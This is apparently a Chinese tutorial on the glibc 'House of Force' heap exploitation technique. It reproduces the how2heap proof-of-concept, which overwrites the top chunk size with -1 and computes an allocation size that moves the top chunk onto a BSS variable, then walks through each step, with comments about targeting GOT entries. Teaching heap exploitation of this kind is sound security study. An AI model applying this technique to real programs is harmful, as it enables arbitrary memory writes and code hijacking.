概述:
这个手法主要是利用了topchunk重定向时发生的一点疏漏,通过控制topchunk的重定向从而使其指向目标区域,进而得到一个任意地址的chunk
这里我先指出这个漏洞主要目标:(2.23版本源码3793处)

这里可以看到这个地方是用chunk_at_offset这个函数对av->top也就是top chunk进行了一下重定位的,这是因为每次从top chunk分割出chunk之后top自然要抬高一些以分割新的chunk
比如这里:
这里一开始是ca10,分配了0x70的chunk后抬高了0x70定位到了ca80
force利用的也是这点,这个手法的思路是利用这个重定向分配比较特殊的size使top抬高到某个位置,所以就需要题目中能够自由控制分配size的大小
版本:
2.29之前,2.29开始在进入重定向前面会对size进行检测,这个手法基本上就失效了
操作(2.23例):
how2heap例子:
|
C /*
This PoC works also with ASLR enabled. It will overwrite a GOT entry so in order to apply exactly this technique RELRO must be disabled. If RELRO is enabled you can always try to return a chunk on the stack as proposed in Malloc Des Maleficarum ( http://phrack.org/issues/66/10.html )
Tested in Ubuntu 14.04, 64bit, Ubuntu 18.04
*/
#include <stdio.h> #include <stdint.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <malloc.h> #include <assert.h>
char bss_var[] = "This is a string that we want to overwrite.";
int main(int argc , char* argv[]) { fprintf(stderr, "\nWelcome to the House of Force\n\n"); fprintf(stderr, "House of Force的想法是覆盖顶部块,并让malloc返回任意值.\n"); fprintf(stderr, "最上面的区块是一个特殊的区块。是记忆中的最后一个" "并且是当malloc向操作系统请求更多空间时将调整大小的块\n");
fprintf(stderr, "\n最后,我们将使用它来覆盖位于 %p.\n", bss_var); fprintf(stderr, "Its current value is: %s\n", bss_var);
fprintf(stderr, "\n让我们分配第一块,从空域中腾出空间.\n"); intptr_t *p1 = malloc(256); fprintf(stderr, "The chunk of 256 bytes has been allocated at %p.\n", p1 - 2);
fprintf(stderr, "\n现在堆由两个块组成:我们分配的块和顶部块/野内存.\n"); int real_size = malloc_usable_size(p1); fprintf(stderr, "我们分配的区块的实际大小(对齐和所有jazz)是 %ld.\n", real_size + sizeof(long)*2);
fprintf(stderr, "\n现在,让我们模拟一个可以覆盖Top Chunk的头的漏洞\n");
//----- VULNERABILITY ---- intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long)); fprintf(stderr, "\nThe top chunk starts at %p\n", ptr_top);
fprintf(stderr, "\n用一个大值覆盖顶部块大小,这样我们就可以确保malloc永远不会调用mmap.\n"); fprintf(stderr, "Old size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long)))); *(intptr_t *)((char *)ptr_top + sizeof(long)) = -1; fprintf(stderr, "New size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long)))); //------------------------
fprintf(stderr, "\n现在这片荒野的面积是巨大的。我们可以在没有malloc()调用mmap的情况下分配任何内容.\n" "接下来,我们将分配一个区块,该区块将使我们与所需的区域(带有一个整数\n" "溢出), 然后能够在所需区域上分配块.\n");
/* * The evil_size is calulcated as (nb is the number of bytes requested + space for metadata): * new_top = old_top + nb * nb = new_top - old_top * req + 2sizeof(long) = new_top - old_top * req = new_top - old_top - 2sizeof(long) * req = dest - 2sizeof(long) - old_top - 2sizeof(long) * req = dest - old_top - 4*sizeof(long) */ unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top; fprintf(stderr, "\n我们要写入的值在%p,而顶部块在%p处,因此考虑到标头大小,\n" "we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size); void *new_ptr = malloc(evil_size); fprintf(stderr, "正如预期的那样,新指针与旧的顶部块位于同一位置: %p\n", new_ptr - sizeof(long)*2);
void* ctr_chunk = malloc(100); fprintf(stderr, "\n现在,我们覆盖的下一个区块将指向我们的目标缓冲区.\n"); fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk); fprintf(stderr, "Now, we can finally overwrite that value:\n");
fprintf(stderr, "... old string: %s\n", bss_var); fprintf(stderr, "... doing strcpy overwrite with \"YEAH!!!\"...\n"); strcpy(ctr_chunk, "YEAH!!!"); fprintf(stderr, "... new string: %s\n", bss_var);
assert(ctr_chunk == bss_var);
// some further discussion: //fprintf(stderr, "This controlled malloc will be called with a size parameter of evil_size = malloc_got_address - 8 - p2_guessed\n\n"); //fprintf(stderr, "This because the main_arena->top pointer is setted to current av->top + malloc_size " // "and we \nwant to set this result to the address of malloc_got_address-8\n\n"); //fprintf(stderr, "In order to do this we have malloc_got_address-8 = p2_guessed + evil_size\n\n"); //fprintf(stderr, "The av->top after this big malloc will be setted in this way to malloc_got_address-8\n\n"); //fprintf(stderr, "After that a new call to malloc will return av->top+8 ( +8 bytes for the header )," // "\nand basically return a chunk at (malloc_got_address-8)+8 = malloc_got_address\n\n");
//fprintf(stderr, "The large chunk with evil_size has been allocated here 0x%08x\n",p2); //fprintf(stderr, "The main_arena value av->top has been setted to malloc_got_address-8=0x%08x\n",malloc_got_address);
//fprintf(stderr, "This last malloc will be served from the remainder code and will return the av->top+8 injected before\n"); }
|
实际过程如下:
|
C char bss_var[] = "This is a string that we want to overwrite.";//篡改目标 intptr_t *p1 = malloc(256);//heap初始化 int real_size = malloc_usable_size(p1);//取得heap的size intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long));//计算出top地址 *(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;//篡改top的size unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top; void *new_ptr = malloc(evil_size);//计算出top与目标区域的距离,并分配这个距离大小的chunk让top重定向过去 void* ctr_chunk = malloc(100);//再次分配得到想要的chunk fprintf(stderr, "... old string: %s\n", bss_var); strcpy(ctr_chunk, "YEAH!!!");//利用得到的chunk篡改字符串 fprintf(stderr, "... new string: %s\n", bss_var);
|
这个例子利用house of force得到了一块位于bss段的chunk,然后修改了这里的一个字符串常量
为了避免分配超大size的chunk时采用mmap分配,所以要先对top chunk进行一些处理(篡改size)
|

|
利用函数取得p1的实际size
|

|
|
(char *)p1 + real_size - sizeof(long)利用这个算式得出top chunk的地址
|

|
然后将top的size也就是ptr_top+8篡改为-1

这里会发现是mov进去的0xffff...,因为-1在内存里就长这样,而这里利用的也就是这点,top的size用的时候是转换成无符号型进行比较的,放一个-1就会整数溢出为超大整数


现在top chunk的size变得超大,我们可以从top chunk上分割任意尺寸的chunk了
算式:(unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top
其实蛮直观的,通过分配重定向是呈现为地址抬高的,所以目标减去top就好了,至于多出来的那个sizeof(long)*4,大概是跟header的问题有关系
可以看到接下来的这个malloc的size参数就是一个很大的数了
这时heap可以看到top chunk直接被干到bss段上来了

这时再去分配chunk就会从bss段上分割空间出来了

